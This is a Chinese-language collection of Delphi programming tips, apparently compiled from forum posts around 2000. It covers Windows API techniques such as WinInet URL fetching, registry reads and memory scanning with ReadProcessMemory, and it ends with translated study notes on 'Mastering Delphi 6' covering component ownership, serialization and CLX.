with TCanvas.Create do

begin

Handle:=GetDC(0);

Brush.Style:=bsClear;

Pen.Color:=clBlue;

Rectangle(0,0,50,50);

Free;

end;

在读D5开发人员指南的时候他告诉我可以这样做.但是我今天在查看TCanvas的帮助时是会造成内存漏露的.因为TCanvas根本就没有重载Free方法,所以也就谈不到释放先前定义的DC句柄了.正确的做法是使用TControlCanvas类,或者在以上代码的最后手动释放掉DC句柄.ReleaseDC


编辑TreeNode Text时限制其长度

procedure TForm1.TreeView1Editing(Sender: TObject; Node: TTreeNode;

var AllowEdit: Boolean);

var

wnd:HWND;

begin

wnd:=TreeView_GetEditControl(TreeView1.Handle);

SendMessage(wnd,EM_LIMITTEXT,30,0);

end;


用程序控制CapLock, NumLock

来自 ：Lambert 时间 ：2000-06-06 11:00:31

var

Tkeys:TkeyBoardState;

Begin

GetkeyBoardState(Tkeys);

Tkeys[Vk_Capital]:=1;

Tkeys[Vk_Numlock]:=1;

SetkeyBoardState(Tkeys);

End;

此招在NT好象不管用.


窗口建立和关闭时的特效

可以使用AnimateWindow来完成这一特效.

AnimateWindow的原型如下：

BOOL AnimateWindow(HWND hWnd,DWORD dwTime,DWORD dwFlags);

其中hWnd为要进行特效显示的窗口，dwTime为完成一个动画的周期。而

dwFlags则为显示动画的类型。

dwTime一般显示为200身长秒，但是完成动画时这个时间显然是过快，所以建立将其设为

400或者更大一些。

dwFlags是动画显示的标志，动画显示一个窗口关键步骤也就在于此。具

体请见WINAPI SDK说明。


连接URL

unit ligwin2;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ComCtrls, ExtCtrls, Wininet, ScktComp;

type

TForm1 = class(TForm)

Memo1: TRichEdit;

Panel1: TPanel;

Label1: TLabel;

Edit1: TEdit;

Button2: TButton;

Button1: TButton;

ServerSocket1: TServerSocket;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

Busy:Boolean;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

label

lab;

var

hHttpSession, hReqUrl:HInternet;

Buffer:array [0..65536] of Char;

nRead:DWORD;

strRead:String;

begin

if Edit1.Text='' then

begin

MessageBox(Handle,'请您输入一个网址！','提示信息',MB_OK+MB_ICONERROR);

exit;

end;

strRead:='';

hHttpSession:=InternetOpen('Liguang',0,nil,nil,0);

try

hReqUrl:=InternetOpenURL(hHttpSession,PChar(Edit1.Text),nil,0,0,0);

if hReqUrl=nil then

begin

InternetCloseHandle(hHttpSession);

MessageBox(0,'查找主机时出错！','提示信息',MB_OK+MB_ICONERROR);

exit;

end;

try

lab:

InternetReadFile(hReqUrl,@Buffer,65536,nRead);

if nRead=65536 then

begin

strRead:=strRead+string(Buffer);

goto lab;

end

else

begin

Buffer[nRead-1]:=Char(0);

strRead:=strRead+string(Buffer);

end;

Application.ProcessMessages;

finally

InternetCloseHandle(hReqUrl);

end;

finally

InternetCloseHandle(hHttpSession);

end;

if strRead<>'' then

Memo1.Lines.Text:=strRead;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Busy:=false;

end;

end.


读取IE收藏夹内网址的信息

procedure TForm1.ToolButton1Click(Sender: TObject);

label

Write;

var

Favorites:String;

Search:TSearchRec;

begin

Favorites:=GetFavoritesPath;

if Favorites='' then

begin

MessageBox(Handle,'访问收藏夹主键错误！','提示信息',MB_OK);

exit;

end;

Memo1.Clear;

with Search,Memo1.Lines do

begin

if FindFirst(Favorites+'*.url',0,Search)=0 then

begin

Write:

Add(GetFavoritesUrl(Favorites+Name));

SetLength(Name,Length(Name)-4);

Add(Name);

if FindNext(Search)=0 then

goto Write;

end;

end;

end;

function TForm1.GetFavoritesPath:String;

var

reg:TRegistry;

begin

Result:='';

reg:=TRegistry.Create;

with reg do

begin

RootKey:=HKEY_USERS;

if OpenKey('.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders',false)=true then

Result:=ReadString('Favorites')+'\';

CloseKey;

Free;

end;

end;

{function TForm1.GetFavoritesUrl(FavoritesFile: String): String;

begin

with TIniFile.Create(FavoritesFile)do

begin

Result:=ReadString('InternetShortcut','URL','');

Free;

end;

end;}

function TForm1.GetFavoritesUrl(FavoritesFile: String): String;

var

i:integer;

begin

Result:='';

with TStringList.Create do

begin

LoadFromFile(FavoritesFile);

i:=IndexOf('[InternetShortcut]');

if i=-1 then

exit;

Result:=Strings[i+1];

System.Delete(Result,1,4);

Free;

end;

end;


对DrawText的再认识

来自 ：谭俊峰 时间 ：2000-08-29 14:36:26

var

Size: Byte;

TmpRect:TRect;

Flags : Word;

S:String;

begin

TmpRect.Left:=60;TmpRect.Top:=60;tmpRect.Right:=160;tmpRect.Bottom:=260;

Canvas.FillRect(TmpRect);

Flags := DT_NOCLIP or DT_VCENTER or DT_WORDBREAK; //?

S:='DDDDDDDDDDFFFFFFFFFFFFFFFFFFFFFFFFFF';

DrawText(Canvas.Handle, Pchar(S), Length(S), TmpRect, Flags);

//虽然设置了“DT_WORDBREAK”，但并没有自动换行，应该如何做？

前些日子我在TIPS库里面留了的贴子,受到了挑战.

我自己试了一下,也的确是如此.这是为什么呢?

下面的老猫的回答告诉了我这一点.

“这是你的S它认为是一个单词啊，要么用中文字符，要么英文字符用空格分开吧”。

的确就是这样。DrawText函数并不是判断一个字符是是否达到了矩形的边界而换行，而是判断一个单词是否达到了矩形的边界，而换行，上面的这段代码，DrawText会把字符串'DDDDDDDDDDFFFFFFFFFFFFFFFFFFFFFFFFFF'认为是一个单词而不对其进行换行的。这就是造成上面这种情况的根本原因。另外值得注意DrawText在输出中文的时候是不会出现这种问题的。


画一个没有画布控件的方法

procedure TForm1.Button2Click(Sender: TObject);

var

c:TCanvas;

begin

c:=TControlCanvas.Create;

TControlCanvas(c).Control:=Panel1;

c.Brush.Style:=bsClear;

c.Pen.Color:=clBlue;

c.Rectangle(5,5,15,15);

c.Free;

end;

KAO,原来TCanvas内部有一个缓存机制.可以象上面那样做.


监视当前网络的流量

//在大富翁坛上的《怎样得到网络的浏览数据》中得到了启发，得到了以下的答案。

procedure TForm1.Timer1Timer(Sender: TObject);

var

usage,usage1:integer;

begin

with TRegistry.Create do

begin

RootKey:=HKEY_DYN_DATA;

OpenKey('PerfStats\StatData',false);

ReadBinaryData('Dial-Up Adapter\TotalBytesRecvd',usage,sizeof(usage));

ReadBinaryData('Dial-Up Adapter\TotalBytesXmit',usage1,sizeof(usage1));

Caption:=IntToStr(usage)+','+IntToStr(usage1);

CloseKey;

Free;

end;

end;


检测当前内存

procedure TForm1.Button2Click(Sender: TObject);

var

str:String;

begin

ClearMemoryInData;

GlobalMemoryStatus(m1);

str:='内存使用百分比 ：

'+IntToStr(m.dwMemoryLoad)+','+IntToStr(m1.dwMemoryLoad)+#13#10+

'实际内存总字节数 ：

'+IntToStr(m.dwTotalPhys)+','+IntToStr(m1.dwTotalPhys)+#13#10+

'可用的实际内存字节数：

'+IntToStr(m.dwAvailPhys)+','+IntToStr(m1.dwAvailPhys)+#13#10+

'分页文件总字节数 ：

'+IntToStr(m.dwTotalPageFile)+','+IntToStr(m1.dwTotalPageFile)+#13#10+

'分页文件可用字节数 ：

'+IntToStr(m.dwAvailPageFile)+','+IntToStr(m1.dwAvailPageFile)+#13#10+

'虚拟内存的总字节数 ：

'+IntToStr(m.dwTotalVirtual)+','+IntToStr(m1.dwTotalVirtual)+#13#10+

'可用的虚拟内存字节数：

'+IntToStr(m.dwAvailVirtual)+','+IntToStr(m1.dwAvailVirtual)+#13#10;

MessageBox(Handle,PChar(str),'提示信息',MB_OK);

end;


提高ReadProcessMemory从内存中找数的速度

lj:

操 作 系 统 ： pwin98

编 程 工 具 ： delphi5

问 题 ： 有 如 下 一 段 程 序 ：

I:=$00040000;

while I<=$7FFFFFFF do

begin

ReadProcessMemory(

ProcessHndle,

Pointer(i),

lpBuffer,

4,

lpNumberOfBytesRead

);

if lpBuffer^=Value1 then ListBox1.Items.Add(inttohex(lpBuffer^,8));

inc(I,4);

end;

主 要 是 用 于 找 出 某 个 值 的 地 址 ， 但 运 行 时 发 现 它 的 速 度 仅 为 10kbytes/秒 左 右 ， 有 办 法 提 高 它 的 速 度 吗 ？ FPE之 类 的 工 具 速 度 极 快 ， 不 知 道 它 是 什 么 原 理 ？ 多 谢 指 教 ！

水 平 : 中 级

回答:

你 可 以 利 用 ReadProcessMemory函 数 一 次 读 出 整 个 区 域 中 的 内 容 而 不 必 要 一 个 字 一 个 字 的 读 取 。 下 面 是 范 例 ：

type lpREC=^lREC;

lREC=record

ls:array[0..20000] of LongWord

end;

Value1:=$44;

ReadProcessMemory(Application.Handle,Pointer(i),lpWord,80000,iRead);

For i:=0 to 2000 do

if lpWord.ls[i]=Value1 then

ListBox1.Items.Add(inttohex(lpWord.ls[i],8));

上 面 的 范 例 可 以 一 次 读 取 20000个 LongWord然 后 进 行 比 较 然 后 在 ListBox1中 显 示 。

http://member.netease.com/~blackcat

此问题由Chen回答。


判断当前活动窗口是否为IE

GetClassName(GetActiveWindow(),buffer,255);

if buffer='IEFrame' then

MessageBox(Handle,'当前窗口为IE！','提示信息',MB_OK)

else

MessageBox(Handle,'当前窗口不是IE窗口','提示信息',MB_OK);


去掉窗口控件的滚动条

以下是清除TreeView控件的纵向滚动条的函数

procedure TForm1.TreeExpanded(Sender: TObject; Node: TTreeNode);

begin

ShowScrollBar(HisTree.Handle, SB_HORZ, False);

end;


任务栏的高度

function TForm1.GetTaskBar:integer;

var

abd:TAppBarData;

begin

abd.cbSize:=sizeof(abd);

SHAppBarMessage(ABM_GETTASKBARPOS,abd);

Result:=abd.rc.Bottom-abd.rc.Top;

end;


计算机是否已经连入Internet

//以下代码来自大富翁论坛中o*o同志对“怎样实时检测拨号网络已经连接？”的回答。

procedure TForm1.Timer1Timer(Sender: TObject);

var

b: array[0..4] of Byte;

begin

with TRegistry.Create do

try

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('System\CurrentControlSet\Services\RemoteAccess',False);

ReadBinaryData('Remote Connection',b,4);

finally

Free;

end;

if b[0]=1 then Caption:='在线' else Caption:='离线';

end;


制作能够RESIZE并且没有3DFRAME的窗口

BaKuBaKu 在 00-11-21 15:02:56 提供了如下回答, 请您查阅和评估:

-----------------------------------------------------------------------------

不够可不可以加啊！ :-P

type

TForm1 = class(TForm)

private

procedure WMNCHITTEST(var Msg: TWMNCHitMessage); message WM_NCHITTEST;

end;

....

procedure TForm1.WMNCHITTEST(var Msg: TWMNCHitMessage);

var

P: TPoint;

begin

Inherited;

with Msg do

begin

P.X := XCursor;

P.Y := YCursor;

Windows.ScreenToClient(Self.Handle,P);

if (P.X < 10) and (P.Y < 10) then // 这里只模仿左上角的 Resize

Result := HTTOPLEFT;

end;

end;

WM_NCHITTEST 的其他参数如下：

Value Location of hot spot

HTBORDER In the border of a window that does not have a sizing border

HTBOTTOM In the lower horizontal border of a window

HTBOTTOMLEFT In the lower-left corner of a window border

HTBOTTOMRIGHT In the lower-right corner of a window border

HTCAPTION In a title bar

HTCLIENT In a client area

HTERROR On the screen background or on a dividing line between windows (same as HTNOWHERE, except that the DefWindowProc function produces a system beep to indicate an error)

HTGROWBOX In a size box (same as HTSIZE)

HTHSCROLL In a horizontal scroll bar

HTLEFT In the left border of a window

HTMENU In a menu

HTNOWHERE On the screen background or on a dividing line between windows

HTREDUCE In a Minimize button

HTRIGHT In the right border of a window

HTSIZE In a size box (same as HTGROWBOX)

HTSYSMENU In a System menu or in a Close button in a child window

HTTOP In the upper horizontal border of a window

HTTOPLEFT In the upper-left corner of a window border

HTTOPRIGHT In the upper right corner of a window border

HTTRANSPARENT In a window currently covered by another window

HTVSCROLL In the vertical scroll bar

HTZOOM In a Maximize button

-----------------------------------------------------------------------------

该问题的URL是：http://www.delphibbs.com/delphibbs/dispq.asp?LID=399936

欢迎经常光顾，争取上大富翁排行榜。

大富翁论坛(http://www.delphibbs.com/delphibbs)

您好!

关于："如何制作一个类似于bsNone类型的没有3DFRAME的窗口.另外还要能够响应窗口边界的RESIZE拖动"

menxin 在 00-11-21 15:28:25 提供了如下回答, 请您查阅和评估:

-----------------------------------------------------------------------------

呵呵，有人捷足先登了。那也得贴呀。

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

private

procedure WmNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WmNCHitTest(var Msg: TWMNCHitTest);

const v=10; //border width

var p:TPoint;

begin

Inherited;

p:=Point(Msg.XPos,Msg.YPos);

p:=ScreenToClient(p);

if PtInRect(Rect(0,0,v,v),p) then

Msg.Result:=HTTOPLEFT

else if PtInRect(Rect(Width-v,Height-v,Width,Height),p) then

Msg.Result:=HTBOTTOMRIGHT

else if PtInRect(Rect(Width-v,0,Width,v),p) then

Msg.Result:=HTTOPRIGHT

else if PtInRect(Rect(0,Height-v,v,Height),p) then

Msg.Result:=HTBOTTOMLEFT

else if PtInRect(Rect(v,0,Width-v,v),p) then

Msg.Result:=HTTOP

else if PtInRect(Rect(0,v,v,Height-v),p) then

Msg.Result:=HTLEFT

else if PtInRect(Rect(Width-v,v,Width,Height-v),p) then

Msg.Result:=HTRIGHT

else if PtInRect(Rect(v,Height-v,Width-v,Height),p) then

Msg.Result:=HTBOTTOM;

end;

end.


使应用程序保存一个32位的数值

SetWindowLong(Handle,GWL_USERDATA,17);


使用OLE控制IE

unit ligwin1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, ComCtrls, StdCtrls,ComObj, Shellapi;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

app:Variant;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

try

app.Navigate('c:\chih_com\index.html');

app.Visible:=TRUE;

except

//on EOleSysError do MessageBox(0,'EOleSysError','提示信息',MB_OK);

app:=CreateOleObject('InternetExplorer.Application');

app.Navigate('c:\chih_com\index.html');

app.Visible:=TRUE;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

app:=CreateOleObject('InternetExplorer.Application');

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

try

app.Navigate('c:\chih_com\index.html',1);

app.Visible:=TRUE;

except

app:=CreateOleObject('InternetExplorer.Application');

app.Navigate('c:\chih_com\index.html');

app.Visible:=TRUE;

end;

end;

end.


为窗口控件制作FLAT的滚动条

使用InitializeFlatSB函数InitializeFlatSB(TreeView1.Handle);

它包含在commctrl单元中.


异步等待

procedure TForm1.Button1Click(Sender: TObject);

var

i:integer;

begin

button1.enabled:=false;

i:=0;

h:=CreateEvent(nil, True, False, '');

repeat

if 1<>1 then

break;

repeat

//MsgWaitForMultipleObjects的HELP说，其返回值是WAIT_OBJECT_0减去句柄数组的INDEX，我感觉此处+1是因为返回的值并不是

//MsgWaitForMultipleObjects所需要的超出了数组索引所以返回1。如果没有超出的话返回0。

if MsgWaitForMultipleObjects(1,h,False,INFINITE,QS_ALLINPUT)=WAIT_OBJECT_0+1 then

Application.ProcessMessages

else

BREAK;

until True = False;

until true=false;

MessageBox(Handle,'终于结束了！','提示信息',MB_OK);

ResetEvent(h);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

SetEvent(h);

Button1.Enabled:=true;

end;

这种异步等待的特别是结束等待的条件必须在等待循环外部触发。


在窗口关闭后执行代码

可以通过拦窗口WM_DESTROY事件的方法来实现，值得注意的是，窗口的OnClose,OnDestroy,OnCloseQuery事件函数都不能实现这一功能。


制作显示自己图标的MessageBox

//这个Tip是我从中国计算机报DelphiTips得到的，很有意思，于是便保存了下来。

function MessageBoxLg(Handle:integer;Text,Caption:String;flag:integer):integer;

var

Msg:TMsgBoxParams;

begin

Msg.cbSize:=Sizeof(Msg);

Msg.hwndOwner:=Handle;

Msg.hInstance:=hinstance;

Msg.lpszText:=PChar(Text);

Msg.lpszCaption:=PChar(Caption);

Msg.dwStyle:=flag+MB_USERICON;

Msg.lpszIcon:='MAINICON';

Msg.dwContextHelpId:=1;

Msg.lpfnMsgBoxCallback:=nil;

Msg.dwLanguageId:=LANG_NEUTRAL;

Result:=integer(MessageBoxIndirect(Msg));

end;


制作真正的TopMost窗口

如果一个TOPMOST窗口不是MainForm的话，那么即将将它设为总在顶端，它也会随着主窗口的前摆而前摆，后摆而后摆。那么怎么解决这个问题呢？

先将窗口的BorderStyle设为bsNone,FormStyle设为fsStayOnTop。

procedure TForm3.CreateParams(var Params:TCreateParams);

begin

inherited;

with Params do

begin

Style:=Params.Style xor WS_DLGFRAME;

WndParent:=0;//此行

end;

end;

procedure TForm3.FormCreate(Sender: TObject);

begin

Width:=36;

Height:=36;

SetWindowLong(Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;


Delphi学习笔记一

Mastering Delphi 6》学习笔记之八 weizhisheng（翻译）
关键字 | Delphi
出处 | http://www.marcocantu.com

构件自动清除的内幕

我们已经知道，TComponent在释放自身的时候会自动删除它Owns的所有Component，这是Delphi程序的一个极大特点。否则的话，任何动态生成的对象比如Menu Items都要自己维护和删除，那将是多么痛苦。VCL是如何做到这一点的呢？可以想象到，每个Component内部应该保持一个列表，记录它所拥有的Components，在自身的析构函数中将列表中的所有对象同时删除即可。基本上这个想法是正确的，不过应该考虑到两种可能的情况：（1）构件删除自身的时候，将它所拥有的子构件全部清除，这种情况下子构件是被动的；（2）某个子构件主动地调用了Free或者Destroy，这个时候，父构件应该有办法得到通知，并且维持列表的同步。否则的话，就可能出现某个子构件被析构两次以上的情况，其后果如何大概也可以想到了。

要保持列表的同步，子构件在建立的时候就必须向父构件报告，退出的时候也必须给父构件打个招呼才行。

原理不复杂，现在来看看VCL是如何实现的。TComponent的构造方法叫做Create,带有一个AOwner参数：

constructor TComponent.Create(AOwner: TComponent);

begin

  FComponentStyle := [csInheritable];

  if AOwner <> nil then AOwner.InsertComponent(Self);

end;

InsertComponent正是我们关心的地方。找找看它的具体实现:

procedure TComponent.InsertComponent(AComponent: TComponent);

begin

  AComponent.ValidateContainer(Self);

  ValidateRename(AComponent, '', AComponent.FName);

  Insert(AComponent);

  AComponent.SetReference(True);

  if csDesigning in ComponentState then

    AComponent.SetDesigning(True);

  Notification(AComponent, opInsert);

end;

虽然有些地方还不大明白，不过关键的部分看来是Insert(AComponent)一句。再找到Insert：

procedure TComponent.Insert(AComponent: TComponent);

begin

  if FComponents = nil then FComponents := TList.Create;

  FComponents.Add(AComponent);

  AComponent.FOwner := Self;

end;

我们所猜想的内部列表终于现身，它是一个通用的，可以容纳任何TObject或者Pointer的TList类型。

另外，从上面的代码段也可以看到VCL中比较典型的一种处理方法，那就是对象“只有在需要的时候才建立”，比如上面建立FComponents就是属于这种情况。当然，在每次建立一个构件时都检查一遍FComponent的有效性将会稍稍影响程序的运行速度，但是考虑到程序所占用的内存（Form和Application一般有应该有Components列表，而一般的构件则完全没有必要，如果每个构件都建立一个List的话，那么占用的内存是相当可观的），这种处理方法也有它的道理。

现在再来看看析构时的情况：

destructor TComponent.Destroy;

begin

  Destroying;

  if FFreeNotifies <> nil then

  begin

    while Assigned(FFreeNotifies) and (FFreeNotifies.Count > 0) do

      TComponent(FFreeNotifies[FFreeNotifies.Count - 1]).Notification(Self, opRemove);

    FreeAndNil(FFreeNotifies);

  end;

  DestroyComponents;

  if FOwner <> nil then FOwner.RemoveComponent(Self);

  inherited Destroy;

end;

这里有两个重要的地方：（1）DestroyComponents一句，显然是删除其所拥有的Components；（2）FOwner.RemoveComponents(Self)，看来是把自身从父构件的FComponents列表中移走。

procedure TComponent.DestroyComponents;

var

  Instance: TComponent;

begin

  while FComponents <> nil do

  begin

    Instance := FComponents.Last;

    if (csFreeNotification in Instance.FComponentState)

      or (FComponentState * [csDesigning, csInline] = [csDesigning, csInline]) then

      RemoveComponent(Instance)

    else

      Remove(Instance);

    Instance.Destroy;

  end;

end;

procedure TComponent.RemoveComponent(AComponent: TComponent);

begin

  ValidateRename(AComponent, AComponent.FName, '');

  Notification(AComponent, opRemove);

  AComponent.SetReference(False);

  Remove(AComponent);

end;

RemoveComponent内部又调用了Remove，再看看这个函数：

procedure TComponent.Remove(AComponent: TComponent);

begin

  AComponent.FOwner := nil;

  FComponents.Remove(AComponent);

  if FComponents.Count = 0 then

  begin

    FComponents.Free;

    FComponents := nil;

  end;

end;

很简单，是么？通过这一番游历，相信“构件在何种情况下会被自动清除和如何被清除”这个问题应该有了明确的答案，以后写起代码来也应该放心多了。

附记：通过上面的例子，我才体会到Delphi中的导航键是多么方便！不论是自己的单元还是VCL内部单元，用Ctrl+点击和Ctrl+Shift+Up/Down，以及Code Editor中的Back/Forword按钮，三两下就可以定位到任何地方。在Visual C++中就没有这样的方便，不论是用Trace还是用Source Browser，都必须先编译通过才行，即使用Find In Files也不见得快多少。相比起来，在Delphi中跟踪源代码要方便多了。虽说Delphi的启动速度确实慢了点，不过它在其他方面提供的快捷方便还是应该肯定的。


九

 | 《Mastering Delphi 6》学习笔记之九 weizhisheng（翻译）
关键字 | Delphi
出处 | http://www.marcocantu.com

无名称构件的使用

我曾在许多Delphi资料中看到这样的说法：每一个Component都必须有一个不为空的Name，用于和其他Component相区分。过去我也对这种说法深信不疑。但是看过《Mastering Delphi 6》后，我知道我错了。Component的Name属性可以是空的，特别是对于Menu Separator，Static Label，Bevel，Shape和Panel等等。虽然IDE会给所有的构件起一个默认的名称，不过你可以在Object Inspector中把它的Name清空，这样的后果是：

1．构件在Object Inspector和Object TreeView中将变成Unnamed或者Component<0>这样的表示方法；

2．该构件的声明将从Form的声明中完全删除；

3．如果用View As Text看看.DFM文件的定义，发现无名称的Component对象定义为这样的形式：

object : TMenuItem

caption = ‘-’

end

而一般的声明为：

object File1: TMenuItem

caption = ‘File’

end

这个特点的真正好处在于，可以让Form的声明简洁许多，再也不会充斥大量无用的N1,N2之类标识符，从而混淆你的视线。当然，可执行文件的大小也会稍有减少。

不过，假如将Form上面所有Label的Name都设为空，那么运行该程序将产生一个错误，因为编译器看到声明中没有Label，所以不会将TLabel的有关TLabel的库函数连接进来。(编译器在绝大多数时候都很聪明，不过这个时候只能说它是自作聪明。)解决办法是至少保留一个有名字的Label。

我们甚至可以手动将Form中某个Component的声明删除。不用担心，在Form建立起来的时候这个Component不会消失，只是不能够用通常的办法来引用它了。真的有需要的时候，可以用Form1.FindComponent(‘Button1’)这样的方法找到特定的构件。如果Form中的构件实在太多，可以用这个技巧来删除一部分不太重要的声明，保持单元的简洁。

其实，要减少Label声明的数量，用Delphi 6中新增的LabledEdit是一个行之有效的办法，而且LabeledEdit可以简化窗体的布局管理。不过，LabeledEdit只对Edit有效。要减少其他不需要响应事件和处理输入的构件（如Menu Separator，Panel和Bevel等等）的声明，就只能用这种方法。

不同于一般的procedure或者function，在Delphi中属于某个类的方法称为method，它们的声明一般为

AProcMethod:procedure(Sender:TObject) of object;

为什么一定要加上of object呢？实际上，Object Pascal中一般的函数指针就相当于普通的指针，而AProcMethod则是一个对指针，它在Delphi中有一个对应的类型：TMethod。

TMethod=record

Data, Code:Pointer;

end;

所以，我们在单元中可以这样：

procedure TForm1.Button1Click2(Sender:TObject);

begin

ShowMessage(‘Click2!’);

end;

procedure TForm1.FormCreate(Sender:TObject);

var

Method:TMethod;

begin

Method.Data := Self;

Method.Code := MethodAddress(‘Button1Click2’);

Button1.OnClick := TNotifyEvent(Method);

end;

当然，实际上只需要Button1.OnClick=Button1Click2即可；不过，这样可以让你明白在幕后发生的事情。值得注意的一点是，Button1Click2应该声明在published段（或者和其他构件的声明放在一起，因为默认作用域就是published），以便编译器为它产生RTTI信息，否则程序可能达不到预期的效果。


十

Delphi中的Serialiation

熟悉MFC的人对Serialize这个虚拟函数大概不会陌生。在MFC中，如果要用Serialization机制读取和保存数据，大概是这样：

void CMyDoc::Serialize(CArchive& ar)

{

if (ar.IsStoring())

{

ar << myString;

ar << myInt;

}

else

{

ar >> myString;

ar >> myInt;

}

}

Object Pascal中有没有类似的机制呢？接触到TReader和TWriter这两个类之后，我知道我找到答案了。

不需多讲理论，来看一个实际的例子。在Form上面放三个Edit和两个Button，另外再加一个OpenDialog和SaveDialog。代码如下：

procedure TForm1.Button1Click(Sender: TObject);

begin

if SaveDialog1.Execute then

Serialize(SaveDialog1.FileName,True);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if OpenDialog1.Execute then

Serialize(OpenDialog1.FileName,False);

end;

procedure TForm1.Serialize(const FileName:string; bSave: Boolean);

var

Reader : TReader;

Writer : TWriter;

Stream : TFileStream;

begin

if bSave then begin

Stream := TFileStream.Create(FileName,fmOpenWrite or fmCreate);

Writer := TWriter.Create(Stream,4096);

Writer.WriteString(Edit1.Text);

Writer.WriteInteger(StrToInt(Edit2.Text));

Writer.WriteFloat(StrToFloat(Edit3.Text));

Writer.Free;

Stream.Free;

end

else begin

Stream := TFileStream.Create(FileName,fmOpenRead);

Reader := TReader.Create(Stream,4096);

Edit1.Text := Reader.ReadString;

Edit2.Text := IntToStr(Reader.ReadInteger);

Edit3.Text := FloatToStr(Reader.ReadFloat);

Reader.Free;

Stream.Free;

end;

end;

如果愿意的话，完全可以将Serialize包装成一个virtual method，从而让派生类中的实现更加简洁。

TReader和TWriter不仅能够读取和写入Object Pascal中绝大部分标准数据类型，而且能够读写Collection/List/Variant这些高级类型，甚至能够读写Perperties和Component。不过，TReader/TWriter自身实际上提供的功能很有限，大部分实际的工作是由TStream这个非常强大的类来完成的。从TReader和TWriter的声明中可以看到一些特别为Component而设计的方法，不难猜想，Delphi开发环境本身很可能就是利用TReader/TWriter，将构件的属性写入.DFM文件以及从.DFM文件中读取属性值的。

下面的例子很有用也非常有趣，它的效果完全相当于Form Designer中的View As Text命令：

var

DFMBuf, TextBuf : TStream;

begin

DFMBuf := TMemoryStream.Create;

DFMBuf.WriteComponent(Self);

TextBuf := TMemoryStream.Create;

DFMBuf.Seek(0,soFromBeginning);

ObjectBinaryToText(DFMBuf,TextBuf);

TextBuf.Seek(0,soFromBeginning);

Memo1.Lines.LoadFromStream(TextBuf);

TextBuf.Free;

DFMBuf.Free;

甚至可以从可执行文件中读取Form的信息：

var

DFMBuf, TextBuf : TStream;

buf : pointer;

begin

DFMBuf := TResourceStream.Create(HInstance,'TForm1',RT_RCDATA);

DFMBuf.Position := 0;

TextBuf := TMemoryStream.Create;

DFMBuf.Seek(0,soFromBeginning);

ObjectBinaryToText(DFMBuf,TextBuf);

TextBuf.Seek(0,soFromBeginning);

Memo1.Lines.LoadFromStream(TextBuf);

TextBuf.Free;

DFMBuf.Free;

end;

(说明：如果窗体不是TForm1，那么请将TResourceStream.Create一句中的第二个参数改为相应的窗体类名。)

好好读懂这些代码，相信自己做一个DFM Viewer也不是遥不可及的事情了吧!


十一

CLX及其它

《Mastering Delphi 6》中提到Object Pascal中有一个TBits类，用来进行二进制位操作。我看过这一段之后马上去找，果然在Classes单元中找到了它。这个类的声明相当简单，不过我看过后感慨很多。如果不知道这个类的存在，我以后可能还要在需要操作二进制位的时候辛辛苦苦的写一大串代码（我以前也写过不少这样的代码），要是能够早点知道有这个类的话该有多好！我相信还可能有很多人和我一样，从来不知道TBits的存在。因此，我决定以后一定要抽个时间，好好把Classes和System这些单元浏览一遍；虽然在没有多少文档的情况下去读这些文件不会轻松，但是很可能会发现一些有用的东西，从而避免去做重新发明轮子的傻事。

我过去总是觉得，Delphi的帮助系统比起MSDN来是有很大差距的。这次我倒是发现了一个相反的例证。通过对Classes单元一个走马观花的浏览，我发现一个ExtractStrings函数，毫无疑问是非常有用的。虽然在一般的教材中都找不到关于它的介绍，不过在线帮助中确实有关于它的完整描述。自己作个例子试试看，和猜想的用法相差不远。这让我想起MFC中也有一个类似的AfxExtractSubString，同样有用，但庞大的MSDN中就是找不到它的帮助（其实，MFC中类似的Afx函数，只有很少的一部分才有文档资料，其他的都属于Undocumented。）虽然这一个小地方不能证明什么，但至少说明Borland在帮助系统的完整性方面还是用心了的，这让我对Delphi帮助系统稍稍有了一些正面印象。

Delphi 6中帮助系统的主题一般都有VCL Reference和CLX Reference两种，如果按F1的话，首先会弹出一个对话框询问你到底选择那一个。时间长了就很烦人。这里有一个方法可以避免：如果你希望一直使用VCL的话，选择Help->Custom,将列表中所有有关CLX的项目一概删除，然后保存项目（当然，最好先将原先的设置备份一个，留给以后恢复用。）最后关闭再重新打开Delphi就行了。

Delphi 6现在支持VCL和CLX两个类库。CLX在底层是基于Qt这个类库的，可能有些朋友还没有听说过它的名字，不过在Linux系统上面Qt的名字可是非常响亮哦。你可以在新建一个项目的时候指定是使用VCL Application还是CLX Application，构件面板会自动变化，只显示对当前项目可用的构件。CLX构件和VCL构件从外观上总的来说是惊人的相似，当然在背后它们还是很不同的。CLX中有一些有意思的构件在VCL中是找不到的，比如TextViewer和TextBrowser。而VCL中有一些构件在CLX中也没有对应，主要是Win32面板上的构件，不过CLX中也有类似的构件，虽然叫法不同。(《Mastering Delphi 6》中提到，和Windows系统通过消息机制通信的方法不同，Qt中采用的是更高层的面向对象封装，比如要操作一个按钮，不用像按钮发送消息，直接调用按钮的相应方法即可。应该把Qt也看作一种Application Framework,而且这种结构一定很值得学习，有机会的话应该看看。)虽然VCL和CLX都有不少好的构件，但它们是无法共同使用的，也就是说，没有办法在VCL Application中使用CLX构件，反之亦然。

